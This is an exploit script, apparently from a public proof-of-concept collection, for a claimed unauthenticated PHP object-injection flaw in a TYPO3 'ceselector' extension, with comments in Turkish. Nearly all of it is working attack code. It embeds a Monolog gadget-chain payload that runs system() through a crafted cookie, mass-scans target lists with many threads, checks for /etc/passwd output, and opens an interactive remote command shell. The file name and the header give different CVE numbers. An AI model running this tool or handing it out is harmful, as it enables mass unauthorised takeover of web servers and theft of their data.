5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2026-46275.py PY

#!/usr/bin/env python3
"""
CVE-2026-46725 — TYPO3 ceselector Extension
Insecure Deserialization (PHP Object Injection) → RCE
CVSS 9.8 (Critical) | CWE-502
Author: DhiyaneshDk | Converted to Python
"""

import requests, argparse, re, sys, time, shutil, json
from concurrent.futures import ThreadPoolExecutor, as_completed
from threading import Lock
from urllib.parse import urljoin, urlparse, quote

requests.packages.urllib3.disable_warnings()

# ══════════════════════════════════════════════════
# RENK & ÇIKTI
# ══════════════════════════════════════════════════

def tw():
    return shutil.get_terminal_size((100, 24)).columns

class C:
    G="\033[92m"; R="\033[91m"; Y="\033[93m"; B="\033[94m"
    CY="\033[96m"; MG="\033[35m"; DM="\033[90m"; WH="\033[97m"
    BL="\033[1m"; X="\033[0m"
    BG_R="\033[41m"; BG_Y="\033[43m"; BG_G="\033[42m"
    NOCOLOR = False

    @classmethod
    def fmt(cls, msg, *codes):
        if cls.NOCOLOR: return str(msg)
        return "".join(codes) + str(msg) + cls.X

    @classmethod
    def ok(cls, m):   return cls.fmt(m, cls.G)
    @classmethod
    def err(cls, m):  return cls.fmt(m, cls.R)
    @classmethod
    def warn(cls, m): return cls.fmt(m, cls.Y)
    @classmethod
    def dim(cls, m):  return cls.fmt(m, cls.DM)

    @classmethod
    def badge_err(cls, m):  return cls.fmt(f" {m} ", cls.BG_R, cls.BL, cls.WH)
    @classmethod
    def badge_warn(cls, m): return cls.fmt(f" {m} ", cls.BG_Y, cls.BL, "\033[30m")
    @classmethod
    def badge_ok(cls, m):   return cls.fmt(f" {m} ", cls.BG_G, cls.BL, cls.WH)

_lock    = Lock()
_verbose = False

def out(msg="", end="\n"):
    with _lock:
        sys.stdout.write("\r" + " " * tw() + "\r" + str(msg) + end)
        sys.stdout.flush()

def vout(msg):
    if _verbose: out(msg)

def section(title, icon="◆"):
    out()
    out(C.fmt(f"  {icon} ", C.MG, C.BL) + C.fmt(title, C.BL, C.WH))
    out(C.fmt("  " + "─" * min(52, tw()-4), C.DM))

def kv(k, v, vc=None):
    out(C.fmt(f"  · {k:<18}", C.DM) + C.fmt(str(v), vc or C.WH))

# ══════════════════════════════════════════════════
# PROGRESS BAR
# ══════════════════════════════════════════════════

class Bar:
    def __init__(self, total, title="", color=None):
        self.total   = max(total, 1)
        self.title   = title
        self.color   = color or C.CY
        self.current = 0
        self.start   = time.time()
        self._lines  = 0

    def update(self, n, info=""):
        self.current = n
        w       = tw()
        bw      = max(10, w - len(self.title) - 26)
        pct     = n / self.total
        filled  = int(bw * pct)
        elapsed = time.time() - self.start + 0.001
        rate    = n / elapsed
        eta     = (self.total - n) / rate if rate > 0 else 0
        bar = (C.fmt("█" * filled, self.color, C.BL) +
               C.fmt("░" * (bw - filled), C.DM))
        l1 = (C.fmt(f" {self.title} ", C.BL, self.color) +
              f" [{bar}] " +
              C.fmt(f"{pct*100:5.1f}%", C.BL, C.WH) +
              C.fmt(f" ({n}/{self.total})", C.DM))
        l2 = (f"  " + C.fmt(f"{rate:5.1f}/s", C.G) +
              f"  ETA " + C.fmt(f"{eta:4.0f}s", C.Y) +
              f"  " + C.fmt(str(info)[:w-32], C.DM))
        with _lock:
            if self._lines:
                sys.stdout.write(f"\033[{self._lines}A\033[J")
            sys.stdout.write(l1 + "\n" + l2 + "\n")
            sys.stdout.flush()
        self._lines = 2

    def finish(self, msg=""):
        bw      = max(10, tw() - len(self.title) - 26)
        elapsed = time.time() - self.start
        rate    = self.current / (elapsed + 0.001)
        with _lock:
            if self._lines:
                sys.stdout.write(f"\033[{self._lines}A\033[J")
            sys.stdout.write(
                C.fmt(f" {self.title} ", C.BL, C.G) +
                f" [{C.fmt('█'*bw, C.G, C.BL)}] " +
                C.fmt("100.0%", C.BL, C.G) +
                C.fmt(f" ({self.current}/{self.total})", C.DM) + "\n" +
                C.fmt("  ✓ ", C.G, C.BL) +
                C.fmt(f"{elapsed:.1f}s  {rate:.1f}/s", C.DM) +
                (C.fmt(f"  {msg}", C.CY) if msg else "") + "\n"
            )
            sys.stdout.flush()
        self._lines = 0

class CounterBar:
    def __init__(self, total, title="Scan"):
        self.total = max(total, 1)
        self.title = title
        self.n     = 0
        self.start = time.time()

    def inc(self, info=""):
        with _lock:
            self.n += 1
            elapsed = time.time() - self.start + 0.001
            rate = self.n / elapsed
            eta  = (self.total - self.n) / rate if rate > 0 else 0
            line = (C.fmt(f" {self.title} ", C.BL, C.CY) +
                    C.fmt(f" {self.n/self.total*100:5.1f}%", C.BL, C.WH) +
                    C.fmt(f" ({self.n}/{self.total})", C.DM) +
                    C.fmt(f"  {rate:.1f}/s", C.G) +
                    C.fmt(f"  ETA {eta:.0f}s", C.Y) +
                    C.fmt(f"  {str(info)[:45]}", C.DM))
            sys.stdout.write("\r" + " " * tw() + "\r" + line)
            sys.stdout.flush()

    def finish(self, msg=""):
        elapsed = time.time() - self.start
        with _lock:
            sys.stdout.write("\r" + " " * tw() + "\r")
            sys.stdout.write(
                C.fmt(f" {self.title} ", C.BL, C.G) +
                C.fmt(" TAMAMLANDI", C.BL, C.G) +
                C.fmt(f" ({self.n}/{self.total})", C.DM) +
                C.fmt(f"  {elapsed:.1f}s", C.DM) +
                (C.fmt(f"  {msg}", C.CY) if msg else "") + "\n"
            )
            sys.stdout.flush()

# ══════════════════════════════════════════════════
# BANNER
# ══════════════════════════════════════════════════

def print_banner():
    out(C.fmt(r"""
  ████████╗██╗   ██╗██████╗  ██████╗ ██████╗
  ╚══██╔══╝╚██╗ ██╔╝██╔══██╗██╔═══██╗╚════██╗
     ██║    ╚████╔╝ ██████╔╝██║   ██║ █████╔╝
     ██║     ╚██╔╝  ██╔═══╝ ██║   ██║ ╚═══██╗
     ██║      ██║   ██║     ╚██████╔╝██████╔╝
     ╚═╝      ╚═╝   ╚═╝      ╚═════╝ ╚═════╝
""", C.CY, C.BL))
    out(C.fmt("  CVE-2026-46725", C.BL, C.R) +
        C.fmt("  TYPO3 ceselector Extension  ", C.DM) +
        C.badge_err("CVSS 9.8 CRITICAL"))
    out(C.fmt("  Insecure Deserialization (PHP Object Injection) → RCE", C.DM))
    out(C.fmt("  CWE-502 | Unauthenticated | No Privileges Required", C.DM))
    out(C.fmt("  " + "─" * (tw()-4), C.DM))
    out()

# ══════════════════════════════════════════════════
# HTTP
# ══════════════════════════════════════════════════

DEFAULT_UA = (
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
    "AppleWebKit/537.36 (KHTML, like Gecko) "
    "Chrome/124.0.0.0 Safari/537.36"
)

def make_session(timeout=15, proxy=None):
    s = requests.Session()
    s.verify  = False
    s.timeout = timeout
    s.headers.update({
        "User-Agent": DEFAULT_UA,
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Connection": "close",
    })
    if proxy:
        s.proxies = {"http": proxy, "https": proxy}
    return s

def get_req(sess, url, **kw):
    try:
        return sess.get(url, allow_redirects=True, **kw)
    except Exception as e:
        vout(C.dim(f"  [GET ERR] {url} → {e}"))
        return None
# ══════════════════════════════════════════════════
# TYPO3 & CESELECTOR TESPİT
# ══════════════════════════════════════════════════

def detect_typo3(sess, base_url):
    """
    TYPO3 kurulu mu ve ceselector extension aktif mi?
    T3_ceselector_<id> cookie'si Set-Cookie header'ında var mı?
    """
    result = {
        "typo3":           False,
        "ceselector":      False,
        "cookie_name":     None,   # T3_ceselector_XXXXX
        "cookie_value":    None,   # mevcut değer (gerekirse)
        "version":         None,
    }

    r = get_req(sess, base_url)
    if not r:
        return result

    # ── TYPO3 sinyalleri ─────────────────────────
    typo3_signals = [
        r'typo3',
        r'TYPO3',
        r'tx_ceselector',
        r'EXT:ceselector',
        r'mmc/ceselector',
        r'T3_ceselector',
        r'typo3conf',
        r'typo3temp',
    ]
    body_lower = r.text.lower()
    for sig in typo3_signals:
        if re.search(sig, r.text, re.I):
            result["typo3"] = True
            vout(C.dim(f"  [detect] TYPO3 sinyal: {sig}"))
            break

    # ── Set-Cookie header'ından T3_ceselector cookie'si ──
    # requests birden fazla Set-Cookie'yi birleştirir,
    # ham header'a bakalım
    raw_headers = str(r.headers)

    # response.cookies üzerinden de kontrol
    for cookie_name in r.cookies.keys():
        if re.match(r'T3_ceselector_\d+', cookie_name, re.I):
            result["ceselector"]  = True
            result["cookie_name"] = cookie_name
            result["cookie_value"] = r.cookies[cookie_name]
            vout(C.dim(f"  [detect] Cookie bulundu: {cookie_name}"))
            break

    # Ham header'dan regex ile çıkar (fallback)
    if not result["cookie_name"]:
        m = re.search(
            r'(?i)set-cookie\s*:\s*(T3_ceselector_\d+)=([^;\s]*)',
            raw_headers
        )
        if not m:
            # requests headers dict'i tek satır yapmaz,
            # response.raw.headers dene
            try:
                for hname, hval in r.raw.headers.items():
                    if hname.lower() == "set-cookie":
                        cm = re.search(
                            r'(T3_ceselector_\d+)=([^;\s]*)',
                            hval, re.I
                        )
                        if cm:
                            result["ceselector"]  = True
                            result["cookie_name"] = cm.group(1)
                            result["cookie_value"] = cm.group(2)
                            vout(C.dim(
                                f"  [detect] Raw header cookie: "
                                f"{cm.group(1)}"
                            ))
                            break
            except Exception:
                pass
        else:
            result["ceselector"]  = True
            result["cookie_name"] = m.group(1)
            result["cookie_value"] = m.group(2)

    # ceselector varsa typo3 da var demektir
    if result["ceselector"]:
        result["typo3"] = True

    # ── TYPO3 sürümü ─────────────────────────────
    ver_patterns = [
        r'TYPO3\s+CMS\s+([\d.]+)',
        r'typo3/([\d.]+)',
        r'"version"\s*:\s*"([\d.]+)"',
    ]
    for vp in ver_patterns:
        vm = re.search(vp, r.text, re.I)
        if vm:
            result["version"] = vm.group(1)
            break

    return result

# ══════════════════════════════════════════════════
# PAYLOAD — PHP Object Injection (Monolog Gadget)
# ══════════════════════════════════════════════════

# URL-encoded Monolog gadget chain — system() çağrısı
# Payload: O:28:"Monolog\Handler\GroupHandler":1:{...system...}
# cmd parametresi "id" olarak gömülü — dinamik cmd için aşağıya bak

BASE_PAYLOAD = (
    "O%3A28%3A%22Monolog%5CHandler%5CGroupHandler%22%3A1%3A%7B"
    "s%3A11%3A%22%00%2A%00handlers%22%3B"
    "a%3A1%3A%7B"
    "i%3A0%3B"
    "O%3A29%3A%22Monolog%5CHandler%5CBufferHandler%22%3A6%3A%7B"
    "s%3A10%3A%22%00%2A%00handler%22%3Br%3A3%3B"
    "s%3A13%3A%22%00%2A%00bufferSize%22%3Bi%3A1%3B"
    "s%3A14%3A%22%00%2A%00bufferLimit%22%3Bi%3A0%3B"
    "s%3A9%3A%22%00%2A%00buffer%22%3B"
    "a%3A1%3A%7B"
    "i%3A0%3B"
    "O%3A17%3A%22Monolog%5CLogRecord%22%3A2%3A%7B"
    "s%3A5%3A%22level%22%3B"
    "E%3A19%3A%22Monolog%5CLevel%3ADebug%22%3B"
    "s%3A5%3A%22mixed%22%3Bs%3A{CMD_LEN}%3A%22{CMD_ENC}%22%3B"
    "%7D%7D"
    "s%3A14%3A%22%00%2A%00initialized%22%3Bb%3A1%3B"
    "s%3A13%3A%22%00%2A%00processors%22%3B"
    "a%3A3%3A%7B"
    "i%3A0%3Bs%3A15%3A%22get_object_vars%22%3B"
    "i%3A1%3Bs%3A3%3A%22end%22%3B"
    "i%3A2%3Bs%3A6%3A%22system%22%3B"
    "%7D%7D%7D%7D"
)

def build_payload(cmd="id"):
    """
    Monolog gadget chain içine OS komutunu göm.
    cmd string'i PHP serialize formatında yerleştirilir.
    """
    cmd_len = len(cmd)
    cmd_enc = quote(cmd, safe="")

    payload = BASE_PAYLOAD.replace(
        "{CMD_LEN}", str(cmd_len)
    ).replace(
        "{CMD_ENC}", cmd_enc
    )
    return payload

# ══════════════════════════════════════════════════
# RCE ÇIKTISI DOĞRULA
# ══════════════════════════════════════════════════

# Komuta özel kesin RCE kalıpları
RCE_PATTERNS = {
    "id":              r'uid=\d+\([^)]+\)\s+gid=\d+\([^)]+\)',
    "whoami":          r'^(?:www-data|root|apache|nginx|nobody|http|daemon)$',
    "uname -a":        r'Linux\s+\S+\s+\d+\.\d+\.\d+',
    "uname":           r'(?:Linux|Darwin|FreeBSD)\s+\S+',
    "pwd":             r'^/(?:var|home|srv|www|opt|tmp|usr)[/\w.\-]+$',
    "cat /etc/passwd": r'root:x:0:0:root',
    "ls":              r'(?:total \d+|[-drwx]{10}\s+\d+)',
    "ls -la":          r'(?:total \d+|[-drwx]{10}\s+\d+)',
    "ps aux":          r'(?:USER\s+PID|root\s+\d+)',
    "env":             r'(?:^|\n)(?:PATH|HOME|USER|SHELL)=',
    "phpinfo":         r'PHP Version \d+\.\d+\.\d+',
}

FALSE_POSITIVES = [
    r'XML-RPC',
    r'POST requests only',
    r'<!DOCTYPE html',
    r'<html',
    r'Error\s+40[34]',
    r'Not Found',
    r'Forbidden',
    r'Access Denied',
    r'Object not found',
]

def extract_rce_output(body, cmd="id"):
    """
    HTTP response body'sinden RCE çıktısını çıkar.
    Nonce template'inden alınan regex kullanılır:
    uid=\\d+\\([a-z_][a-z0-9_-]*\\)\\s+gid=\\d+\\([a-z_][a-z0-9_-]*\\)
    """
    clean = re.sub(r'<[^>]+>', '', body)
    clean = re.sub(r'&[a-z]+;', ' ', clean)
    clean = re.sub(r'\s+', ' ', clean).strip()

    # False positive kontrolü
    for fp in FALSE_POSITIVES:
        if re.search(fp, clean, re.I):
            vout(C.dim(f"  [extract] False positive: {fp}"))
            return None

    # Komuta özel pattern
    pat = RCE_PATTERNS.get(
        cmd.strip().lower(),
        RCE_PATTERNS["id"]
    )

    m = re.search(pat, clean, re.MULTILINE)
    if m:
        # Eşleşme etrafındaki bağlamı al
        start = max(0, m.start() - 10)
        end   = min(len(clean), m.end() + 200)
        return clean[start:end].strip()

    return None

# ══════════════════════════════════════════════════
# TEK HEDEF EXPLOIT
# ══════════════════════════════════════════════════

def exploit_single(sess, base_url, cmd="id",
                   silent=False, timeout=15):
    url = base_url.rstrip("/")
    if not url.startswith("http"):
        url = "http://" + url

    # ── 1) Tespit ─────────────────────────────────
    if not silent:
        section("TYPO3 & ceselector Tespit", "①")

    info = detect_typo3(sess, url)

    if not silent:
        kv("TYPO3",
           C.ok("✓ Tespit edildi") if info["typo3"]
           else C.err("✗ Bulunamadı"))
        kv("ceselector",
           C.ok("✓ Aktif") if info["ceselector"]
           else C.err("✗ Cookie yok"))
        if info["cookie_name"]:
            kv("Cookie Adı",  info["cookie_name"],  C.CY)
            kv("Cookie Değer", info["cookie_value"][:30] + "..."
               if info["cookie_value"] and
               len(info["cookie_value"]) > 30
               else (info["cookie_value"] or ""), C.DM)
        if info["version"]:
            kv("TYPO3 Sürüm", info["version"], C.DM)

    if not info["typo3"]:
        return {"ok": False, "reason": "typo3_not_found", "url": url}

    if not info["ceselector"]:
        return {"ok": False, "reason": "ceselector_cookie_not_found",
                "url": url}

    cookie_name = info["cookie_name"]

    # ── 2) Payload ────────────────────────────────
    if not silent:
        section("Payload Hazırlanıyor", "②")
        kv("Teknik",  "PHP Object Injection → Monolog Gadget Chain", C.Y)
        kv("Gadget",  "Monolog\\Handler\\GroupHandler", C.DM)
        kv("Sink",    "system()", C.R)
        kv("Komut",   cmd, C.CY)
        out()

    payload = build_payload(cmd)

    vout(C.dim(f"  [payload] {payload[:80]}..."))

    # ── 3) Exploit isteği ─────────────────────────
    if not silent:
        section("Exploit Gönderiliyor", "③")

    headers = {
        "User-Agent":      DEFAULT_UA,
        "Accept":          "text/html,application/xhtml+xml,"
                           "application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language": "en-US,en;q=0.5",
        "Connection":      "close",
        "Cookie":          f"{cookie_name}={payload}",
    }

    vout(C.dim(f"  [request] GET {url}"))
    vout(C.dim(f"  [cookie]  {cookie_name}=<payload>"))

    r = get_req(sess, url, headers=headers)

    if not r:
        return {"ok": False, "reason": "request_failed", "url": url}

    vout(C.dim(f"  [response] HTTP {r.status_code}  "
               f"len={len(r.text)}"))

    if not silent:
        kv("HTTP Status", r.status_code,
           C.G if r.status_code == 200 else C.R)

    # ── 4) Çıktı çıkar ────────────────────────────
    if not silent:
        section("RCE Çıktısı", "④")

    output = extract_rce_output(r.text, cmd)

    if output:
        if not silent:
            out(C.fmt("  ┌─ RCE ÇIKTISI ", C.G, C.BL) +
                C.fmt("─" * 35, C.G))
            for line in output.splitlines()[:15]:
                out(C.fmt("  │ ", C.G) + C.fmt(line, C.WH, C.BL))
            out(C.fmt("  └" + "─" * 45, C.G))
            out()
            kv("Komut",  cmd,    C.CY)
            kv("Cookie", cookie_name, C.DM)
        return {
            "ok":          True,
            "output":      output,
            "url":         url,
            "cookie_name": cookie_name,
            "cmd":         cmd,
            "version":     info.get("version"),
        }

    if not silent:
        out(C.err("  ✗ RCE çıktısı alınamadı"))
        out(C.dim(f"  · Ham yanıt (ilk 300): {r.text[:300]}"))

    return {
        "ok":     False,
        "reason": "no_rce_output",
        "url":    url,
        "status": r.status_code,
        "raw":    r.text[:300],
    }
# ══════════════════════════════════════════════════
# TOPLU TARAMA
# ══════════════════════════════════════════════════

def bulk_scan(targets, cmd="id", threads=10,
              timeout=15, proxy=None):
    total   = len(targets)
    results = []
    bar     = CounterBar(total, "Tarama")
    r_lock  = Lock()

    def worker(target):
        url = target.strip()
        if not url:
            return
        if not url.startswith("http"):
            url = "http://" + url

        sess = make_session(timeout=timeout, proxy=proxy)
        res  = exploit_single(
            sess, url,
            cmd     = cmd,
            silent  = True,
            timeout = timeout,
        )

        if res.get("ok"):
            tag = C.ok(f"✓ RCE  {url}")
            with r_lock:
                results.append(res)
                out(C.fmt("\n  " + "═" * 64, C.G))
                out(C.ok(f"  ✓ RCE ALINDI → {url}"))
                out(C.fmt(f"  · Sürüm  : "
                          f"{res.get('version','?')}", C.DM))
                out(C.fmt(f"  · Cookie : "
                          f"{res.get('cookie_name','')}", C.CY))
                out(C.fmt(f"  · Çıktı  : "
                          f"{res.get('output','')[:120]}", C.WH))
                out(C.fmt("  " + "═" * 64 + "\n", C.G))

        elif res.get("reason") == "typo3_not_found":
            tag = C.dim(f"– typo3 yok  {url}")
        elif res.get("reason") == "ceselector_cookie_not_found":
            tag = C.dim(f"– ceselector yok  {url}")
        elif res.get("reason") == "no_rce_output":
            tag = C.warn(f"? tespit edildi / RCE yok  {url}")
        else:
            tag = C.err(f"✗ başarısız  {url}")

        bar.inc(tag)

    with ThreadPoolExecutor(max_workers=threads) as ex:
        futs = {ex.submit(worker, t): t for t in targets}
        try:
            for f in as_completed(futs):
                f.result()
        except KeyboardInterrupt:
            out(C.warn("\n  [!] Kullanıcı durdurdu."))

    bar.finish(f"{len(results)} RCE bulundu")
    return results

# ══════════════════════════════════════════════════
# KAYDET
# ══════════════════════════════════════════════════

def save_results(results, outfile=None):
    if not results:
        return
    if not outfile:
        outfile = f"typo3_ceselector_{int(time.time())}.txt"

    lines = []
    lines.append("=" * 60)
    lines.append("CVE-2026-46725 — TYPO3 ceselector RCE")
    lines.append(f"Tarih: {time.strftime('%Y-%m-%d %H:%M:%S')}")
    lines.append("=" * 60)
    lines.append("")
    lines.append(f"[+] RCE ALINAN HEDEFLER ({len(results)})")
    lines.append("-" * 40)

    for r in results:
        lines.append(f"URL        : {r.get('url','')}")
        lines.append(f"Sürüm      : {r.get('version','?')}")
        lines.append(f"Cookie     : {r.get('cookie_name','')}")
        lines.append(f"Komut      : {r.get('cmd','')}")
        lines.append(f"Çıktı      : {r.get('output','')[:400]}")
        lines.append("")

    try:
        with open(outfile, "w", encoding="utf-8") as f:
            f.write("\n".join(lines))
        out(C.ok(f"\n  ✓ Sonuçlar kaydedildi → {outfile}"))
    except Exception as e:
        out(C.err(f"  ✗ Kayıt hatası: {e}"))

# ══════════════════════════════════════════════════
# İNTERAKTİF SHELL
# ══════════════════════════════════════════════════

def interactive_shell(sess, base_url, cookie_name):
    out()
    out(C.fmt("  ╔══════════════════════════════════════════╗", C.G, C.BL))
    out(C.fmt("  ║   İnteraktif Shell Açıldı                ║", C.G, C.BL))
    out(C.fmt("  ║   Çıkmak için: exit / quit / Ctrl+C      ║", C.G, C.BL))
    out(C.fmt("  ╚══════════════════════════════════════════╝", C.G, C.BL))
    out()

    # Başlangıç bilgileri
    for init_cmd in ["id", "uname -a", "pwd"]:
        payload = build_payload(init_cmd)
        headers = {
            "User-Agent": DEFAULT_UA,
            "Cookie":     f"{cookie_name}={payload}",
            "Connection": "close",
        }
        r = get_req(sess, base_url, headers=headers)
        if r:
            out_text = extract_rce_output(r.text, init_cmd)
            if out_text:
                first = out_text.splitlines()[0] if out_text else ""
                kv(init_cmd, first, C.CY)
    out()

    history = []

    while True:
        try:
            prompt = (C.fmt("  typo3", C.G, C.BL) +
                      C.fmt("@", C.DM) +
                      C.fmt("ceselector", C.R, C.BL) +
                      C.fmt(" $ ", C.WH, C.BL))
            cmd = input(prompt).strip()
        except (KeyboardInterrupt, EOFError):
            out(C.warn("\n  [!] Shell kapatıldı."))
            break

        if not cmd:
            continue

        if cmd.lower() in ("exit", "quit", "q"):
            out(C.dim("  [*] Çıkılıyor..."))
            break

        if cmd.lower() == "history":
            for i, h in enumerate(history, 1):
                out(C.dim(f"  {i:3}  {h}"))
            continue

        if cmd.lower() == "help":
            out(C.dim("  Komutlar: exit, quit, history, help"))
            out(C.dim("  Herhangi bir OS komutu çalıştırabilirsiniz."))
            continue

        history.append(cmd)

        payload = build_payload(cmd)
        headers = {
            "User-Agent": DEFAULT_UA,
            "Cookie":     f"{cookie_name}={payload}",
            "Connection": "close",
        }

        r = get_req(sess, base_url, headers=headers)
        if not r:
            out(C.err("  ✗ İstek başarısız"))
            continue

        # False positive kontrolü
        is_fp = False
        for fp in FALSE_POSITIVES:
            if re.search(fp, r.text, re.I):
                out(C.err(f"  ✗ Geçersiz yanıt"))
                is_fp = True
                break
        if is_fp:
            continue

        clean = re.sub(r'<[^>]+>', '', r.text).strip()
        clean = re.sub(r'\s+', ' ', clean)

        if clean:
            for line in clean.splitlines()[:20]:
                if line.strip():
                    out(C.fmt("  │ ", C.G) + line)
        else:
            out(C.dim("  (boş çıktı)"))
# ══════════════════════════════════════════════════
# ARG PARSER
# ══════════════════════════════════════════════════

def build_parser():
    p = argparse.ArgumentParser(
        prog="CVE-2026-46725",
        description=(
            "TYPO3 ceselector Extension — Insecure Deserialization RCE\n"
            "PHP Object Injection via unserialize() cookie bypass\n"
            "CVSS 9.8 Critical | Unauthenticated"
        ),
        formatter_class=argparse.RawTextHelpFormatter,
        epilog="""
Örnekler:
  Tek hedef:
    python CVE-2026-46725.py -u https://typo3-site.com
    python CVE-2026-46725.py -u https://typo3-site.com -c "whoami"
    python CVE-2026-46725.py -u https://typo3-site.com --interactive

  Toplu tarama:
    python CVE-2026-46725.py -l targets.txt -t 20 -o results.txt
    python CVE-2026-46725.py -l targets.txt -t 30 -c "id"
        """,
    )

    g1 = p.add_argument_group("Hedef")
    mx = g1.add_mutually_exclusive_group(required=True)
    mx.add_argument("-u", "--url",  metavar="URL",
                    help="Tek hedef URL")
    mx.add_argument("-l", "--list", metavar="FILE",
                    help="Hedef listesi (satır başı URL)")

    g2 = p.add_argument_group("Exploit")
    g2.add_argument("-c", "--cmd",
                    default="id", metavar="CMD",
                    help="Çalıştırılacak OS komutu (varsayılan: id)")
    g2.add_argument("--interactive", "-i",
                    action="store_true",
                    help="Başarılı exploit sonrası interaktif shell aç")

    g3 = p.add_argument_group("Tarama")
    g3.add_argument("-t", "--threads",
                    type=int, default=10, metavar="N",
                    help="Thread sayısı (varsayılan: 10)")
    g3.add_argument("--timeout",
                    type=int, default=15, metavar="S",
                    help="Timeout saniye (varsayılan: 15)")
    g3.add_argument("--proxy",
                    metavar="URL",
                    help="Proxy (örn: http://127.0.0.1:8080)")

    g4 = p.add_argument_group("Çıktı")
    g4.add_argument("-o", "--output",
                    metavar="FILE",
                    help="Sonuç dosyası")
    g4.add_argument("-v", "--verbose",
                    action="store_true",
                    help="Ayrıntılı çıktı")
    g4.add_argument("--no-color",
                    action="store_true",
                    help="Renksiz çıktı")
    return p

# ══════════════════════════════════════════════════
# MAIN
# ══════════════════════════════════════════════════

def main():
    global _verbose
    parser = build_parser()
    args   = parser.parse_args()

    if args.no_color:
        C.NOCOLOR = True
    if args.verbose:
        _verbose = True

    print_banner()

    # ── Toplu tarama ──────────────────────────────
    if args.list:
        try:
            with open(args.list, encoding="utf-8") as f:
                targets = [l.strip() for l in f if l.strip()]
        except FileNotFoundError:
            out(C.err(f"  ✗ Dosya bulunamadı: {args.list}"))
            sys.exit(1)

        section("Toplu Tarama", "▶")
        kv("Liste",   args.list,    C.DM)
        kv("Hedef",   len(targets), C.WH)
        kv("Thread",  args.threads, C.DM)
        kv("Komut",   args.cmd,     C.CY)
        out()

        results = bulk_scan(
            targets,
            cmd     = args.cmd,
            threads = args.threads,
            timeout = args.timeout,
            proxy   = args.proxy,
        )

        save_results(results, args.output)

        out()
        out(C.fmt("  ╔══ ÖZET ═══════════════════════════════╗", C.G, C.BL))
        out(C.fmt(f"  ║  Toplam Hedef : {len(targets):<23}║", C.WH))
        out(C.fmt(f"  ║  RCE Alınan  : {len(results):<23}║", C.G))
        out(C.fmt("  ╠═══════════════════════════════════════╣", C.G, C.BL))
        for r in results:
            out(C.fmt(f"  ║  ✓ {r['url'][:36]:<36}║", C.G))
        out(C.fmt("  ╚═══════════════════════════════════════╝", C.G, C.BL))
        return

    # ── Tek hedef ─────────────────────────────────
    url = args.url.rstrip("/")
    if not url.startswith("http"):
        url = "http://" + url

    section("Hedef Bilgileri", "▶")
    kv("URL",   url,      C.CY)
    kv("Komut", args.cmd, C.DM)
    out()

    sess   = make_session(timeout=args.timeout, proxy=args.proxy)
    result = exploit_single(
        sess, url,
        cmd     = args.cmd,
        silent  = False,
        timeout = args.timeout,
    )

    if result.get("ok"):
        save_results([result], outfile=args.output)

        if args.interactive:
            try:
                interactive_shell(
                    sess, url,
                    result["cookie_name"]
                )
            except KeyboardInterrupt:
                out(C.warn("\n  [!] Shell kapatıldı."))
        else:
            try:
                ans = input(C.warn(
                    "\n  [?] İnteraktif shell aç? (y/n): "
                )).strip().lower()
                if ans == "y":
                    interactive_shell(
                        sess, url,
                        result["cookie_name"]
                    )
            except (KeyboardInterrupt, EOFError):
                pass

    else:
        reason = result.get("reason", "?")
        out(C.fmt("\n  ✗ Exploit başarısız.", C.R))
        kv("Sebep", reason, C.DM)
        out()
        out(C.warn("  Öneriler:"))
        out(C.dim("  1. Hedefte TYPO3 kurulu ve ceselector extension aktif olmalı"))
        out(C.dim("  2. T3_ceselector_* cookie'si Set-Cookie header'ında olmalı"))
        out(C.dim("  3. Persistent Mode: Static configuration aktif olmalı"))
        out(C.dim("  4. -v verbose mod ile detayları inceleyin"))
        out(C.dim("  5. --proxy ile Burp Suite üzerinden trafiği izleyin"))


if __name__ == "__main__":
    main()